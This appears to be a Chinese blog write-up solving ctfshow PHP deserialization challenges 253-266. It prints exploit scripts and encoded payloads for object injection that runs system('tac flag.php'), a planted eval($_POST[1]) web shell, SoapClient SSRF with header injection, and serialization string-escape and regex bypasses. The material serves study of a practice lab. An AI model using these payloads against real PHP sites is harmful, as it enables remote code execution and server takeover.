ctfshow_web入門 反序列化(254~266)


要是沒接觸過的師傅們,可以先看看這個

web 254

這個題沒有考什么,get方式傳入payload即可,這里xxxxxx,就是6gex而已

payload:

?username=xxxxxx&password=xxxxxx

web 255

highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

審計代碼,發現,可以從cookie的user中傳入payload實例化字符串,同樣需要isVip=True

<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

由於cookie中將"作為截斷符號,所需要編碼繞過,這里采用url編碼

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image-20210825180936746

最后訪問/?username=1&password=2得到flag

web 256

題目

highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

額,這里只是不讓username和password相等即可

白嫖255payload即可

web 257

<?
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

首先尋找一下unserialize函數,順帶看了一下流程。接下來找了順便看了一下哪里能夠拿到flag。但是沒有找到。

在審計的過程中,看到在backdoor類中,看到了eval,於是尋找哪里能夠控制code和引用back::getInfo();ctfshowuser類中的destruct中看到$this->class->getInfo();。於是想,從ctfshowuser::destruct中引用backdoor::getInfo()backdoor::code就是變量。

exp:

<?php
class ctfShowUser{
    private $username='1';
    private $password='2';
    private $isVip=false;
    private $class;
	
	public function __construct(){
		$this->class=new backDoor();
	}
}
class backDoor{
    private $code="system('tac flag.php');";
}

$c=new ctfShowUser();
echo urlencode(serialize($c));

payload:

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%221%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%222%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

最后訪問/?username=1&password=2得到flag

在類中嵌套類,需要初始化,所以使用__construact函數進行初始化賦值

web 258——繞過正則

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

和257差不多,這里用了/[oc]:\d+:/來過濾,我們給數字加上+來繞過。

至於為什么用加號,額,函數定義就是這么寫的,如果是+那么也能正常執行(以前看到其他解釋說的是,+1和1沒區別,但是沒有說這里C實現的過程)

image-20210825214516128

這里使用一句話木馬,上面那個,額,沒想到

exp

<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=True;
    public $class;
	
	public function __construct(){
		$this->class=new backDoor();
	}
}
class backDoor{
    public $code='eval($_POST[1]);';
}

$c=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$b);
echo urlencode($b);

image-20210825211616599

這題卡了很久,因為我是復制粘貼257來修改的,沒有注意到屬性,,,,

web 259——ssrf

不懂,去找個wp,所以本題是直接抄的。

flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}
<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

如果調用一個沒有定義的方法,那么就會使用類本身的call方法。由於給了個ssrf的代碼,那么河里推斷這是一個ssrf的原生類。

看完了大師傅的視頻,大概明白要趕個什么了。順便說一句,大師傅太頂了!!!

我這里就在kali中做測試了,因為不想在本機上下載nc工具。

額,在kali中,還需要把soap的PHP擴展下載一下。這就比Windows可能方便很多了(只針對我個人嘛),因為我在Windows中裝了一個PHP環境,用的不是phpstudy那邊的PHP,所以自己添加外包可能有點麻煩,最主要還是是因為不想在Windows上裝nc;

寫得多,但是仔細看完就沒什么了

安裝擴展包

  1. 首先查看一下有沒有soap包擴展(應該是沒有的)
nl /etc/php/7.4/apache2/php.ini|grep soap
  1. 下載外包(根據自己的機器上的版本下載)
apt-get install php7.4-soap
  1. 再查看一下soap包擴展
nl /etc/php/7.4/apache2/php.ini|grep soap

這個時候,應該是能夠查看到的,效果如下,也有可能要等一下

image-20210826112440582

可以看到;extension=soap,說明soap擴展已經下載好了,接下來只需要將;去除即可。這樣也就算了下載且添加進了PHP中,可以使用了。

接下來回到題目

在kali中打開nc工具監聽一個端口,開一個終端來跑代碼;打開web259.php文件(自己寫的),布局可以參考一下下面的。

image-20210826113734516

在web259.php中寫入代碼,(代碼不全,因為是一步一步來的,我是希望將題目筆記盡量做細致一點,后來復習的時候也能看懂)

<?php

$ua="ctfshow";
$client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1:8181","location"=>"http://127.0.0.1:8181/flag.php","user_agent"=>$ua));

$client->getFlag();

開啟nc偵聽8181端口,接着運行web259.php,從nc工具中可以看到偵聽到的數據User-Agent: ctfshow,注入的user-agent已經成功了。(目前進度大概是60%)

image-20210826115046544

看題目:

  1. 題目要從X-Forwarded-For中獲取ip。
    將X-Forwarded-For按照,分為數組,接着array_pop第一個元素,最后用第二個元素來作為ip;

所以構造

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1"
  1. 題目要求是post傳入的參數,所以要構造一個post表單傳入參數token=ctfshow

所以構造

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";

因為設置了Content-Length=13,所以只取后面13位,也就恰好吧token=ctfshow取完就停止;十分的嚴格。順便補一句,反序列化的規矩也是10分的嚴格。

image-20210826180306005

由於本地應該是80或者是8080端口,把:8181去掉就行了,利用默認端口進去;

最后exp是:

<?php

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";
$client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>"http://127.0.0.1/flag.php","user_agent"=>$ua));

/*$client->getFlag();*/
echo urlencode(serialize($client));

payload:

url?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

訪問url/flag.txt拿到flag

image-20210826180749918

這個題,就做完了。師傅們太頂了,頂呱呱;

web 260

???,沒仔細看,get傳入ctfshow=ctfshow_i_love_36D就拿到了

是對傳入的字符串進行序列化,然后檢測有沒有ctfshow_i_love_36D

image-20210826180957076

web 261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

審計代碼發現:

  1. 有__unserialize(),在7.4以上版本反序列化會繞過__wakeup()函數。
  2. 在destruct()函數中,有file_put_contents可以寫入文件,一句話木馬兒
  3. $this->code==0x36d是弱類型比較,0x36d又有沒有打引號,所以代表數字,且數字是877,那么877a877.php等可以通過比較;所以設置username='877.php'來通過比較

所以exp:

<?php

class ctfshowvip{
    public $username='877.php';
    public $password='<?php eval($_POST[1]);?>';
    public $code=0x36d;

    public function __invoke(){
        eval($this->code);
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
$c=new ctfshowvip();
echo serialize($c);

payload:

url/?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:4:"code";i:877;}

訪問url/877.php執行一句話木馬,1=system('cat /flag_is_here');拿到flag

image-20210826185308722

261還說是打redis,嚇了一跳。。。

web 262——字符串逃逸_部分替換

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

先審計一下代碼,發現:

  1. fuck會被替換為loveU
  2. 沒有看到能夠利用的函數或者是和flag有關的,不過找到message.php,(建議上午或者下午做題,晚上貌似是做題巔峰,是在是卡)
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

再審計之后發現,貌似可以直接從message.php這里,只需要看這么一段,就行了,也不用逃逸了,,,,

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

上分做法:

<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
}
$m=new message();
echo base64_encode(serialize($m));

payload:

msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

在message.php頁面中,F12,cookie添加msg,刷新,拿到flag

image-20210826190738048

字符串逃逸

首先要知道這里是將fuck修改成了loveU,由4個字符長度,變成了5個,長度發生了變化,導致了反序列化字符串結構改變。

我們知道,反序列化過程十分的嚴格,多讀取一個,或者是少讀取一個都是不被允許,會報錯的。一旦長度有了變化,那么就會報錯。加入我們精心構造一個字符串,那么不但不會報錯,而且還能夠拿到flag。

看了message.php我們知道,只需傳入的payload在反序列化的時候,反出來一個token=admin,就行。

這是用來測試的文件

<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
	public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;echo "<br>";
var_dump(unserialize($umsg));#如果反序列化成功,就會輸出結果,沒結果就是bool(false)

首先拿到一個正常的,反序列化字符串

image-20210826215821389

取末尾幾位:";s:5:"token";s:5:"admin";},這長度為27

image-20210826215929871

我們於是我們構造:t=3";s:5:"token";s:5:"admin";}

image-20210826220238201

此時,用fuck來進行測試:&t=fuck";s:5:"token";s:5:"admin";},將fuck放在前面

image-20210826221949657

由於長度變化了,反序列化也會失敗。

image-20210826222952524

看到了fuck編程loveU,長度由31變成了32,抵出去了一個字符的位置。

由於字符串是一個一個讀取的,所以這里被抵出去的是}

image-20210826223113533

一個fuck會抵出去一個位置,那么兩個fuck就會抵出去兩個(** :}**)位置;

假如";s:5:"token";s:5:"admin";}被抵出去了,那么就能夠恰好的滿足反序列化的條件了。

所以,有多少個fuck就會抵出去多少個位置;就需要len(";s:5:"token";s:5:"admin";})個fuck,也就是27個。

image-20210826223814021

最后構造得到

t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image-20210826221637405

拿到這個構造的payload,在題目中提交

image-20210826224356928

url?f=1&m=3&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image-20210826224415247

訪問url/message.php拿到flag

image-20210826224448377

文辭有限,筆墨僅限於此。

沒有說清楚的話,請移步大師傅的視頻講解

web 253

dirsearch掃描發現www.zip,看來是seesion反序列化了,

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入檢查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一標志
*標准的UUID格式為:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  

想了一下,突然意識到,貌似session反序列化可以直接把session中能反的給了;

人給我做傻了這題,不知道是不是因為開局就輸入賬號密碼錯誤了幾次,導致后來的cookie沒有寫入給整自閉了。所以查看cookie,limit一直是1。就有點不明所以了。

當然,我也是看了大師傅的視頻才做了出來的,點擊跳轉

審計代碼:

找到,當user類被析構的時候,會有file_put_content的,執行,借此可以吸入一句話木馬;

web 264

session的反序列化字符串逃逸,其實和262沒有區別,把262payload拿過來用就行;只是需要再設置一個msg的cookie,即可

image-20210827113527451

這個題沒有設置session反序列化的處理器,那就是磨人的,也就和平時反序列化代碼的模式一樣。所以這里可以按照262的方式去理解

web 265——引用

<?
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

由於mt_rand()預測不了,我預測不了,萬一有大佬能預測呢,,,且md5(mt_rand())確實預測不了。

可以利用引用的方式,將password賦值為token的引用

exp

<?php
class ctfshowAdmin{
    public $token;
    public $password;
	
	public function __construct(){
        $this->password=&$this->token;
    }
}

$c=new ctfshowAdmin();
echo (serialize($c));echo"\n";

payload:

url/?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

web 266——偽協議,正則繞過

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

審計代碼:

發現,反序列話的是$cs=file_get_contnets(php://input),同時在__destruct中有輸出flag的語句。暗示了要找個機會傳入一個ctfshow類進去。恰好看到$cs對字符串ctfshow過濾了,也就明示了要傳入ctfshow類的字符串給cs。這題就差把flag順手給提交了。

php://input偽協議是post輸入的參數。首先拿到一個ctfshow類的反序列化字符串;

<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}
$c=new ctfshow();
echo serialize($c);

得到

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

利用burp傳值;在hackbar中,post不能傳入單個字符串,必須是以a=b形式傳入,只傳入b是不行的,所以要利用到burp,抓包,改值。

image-20210827152948073

由於過濾了ctfshow但是我這里用的是cTFSHOW,在PHP中,類不區分大小寫;所以繞過了過濾。

如果進入了判斷,就會異常,然后不執行析構函數。

破壞結構進行析構

就是說,傳入一個破壞了反序列化字符串結構的字符串進去,使得,即使異常了,也會析構。

新看到方法,太頂了,就看不懂為什么。。。。

image-20210827154424361

魔術方法

1.__construct()
	觸發條件:new一個實例化對象的時候
	作用:初始化函數,對類進行初始化,同時也可以執行其它語句
2.__desturct()
	觸發條件:銷毀一個實例化對象的時候
	作用:析構函數,對實例化對象銷毀,同時也可以執行其它語句
3.__wakeup()
	觸發條件:反序列化時觸發
	作用:額,就是調用一下,函數有什么功能這是自己定義的
4.__sleep()
	觸發條件:序列化的時候觸發
	作用:額,就是調用一下,函數有什么功能這是自己定義的
5.__invoke
	作用:當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用。
	例如:class Ctfshow,然后使用$Ctfshow();時被調用
3.__unserialize()
	觸發條件:7.4以上版本,反序列化時觸發,且繞過__wakeup()

如果有寫得不對的地方,斗膽請師傅們斧正


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM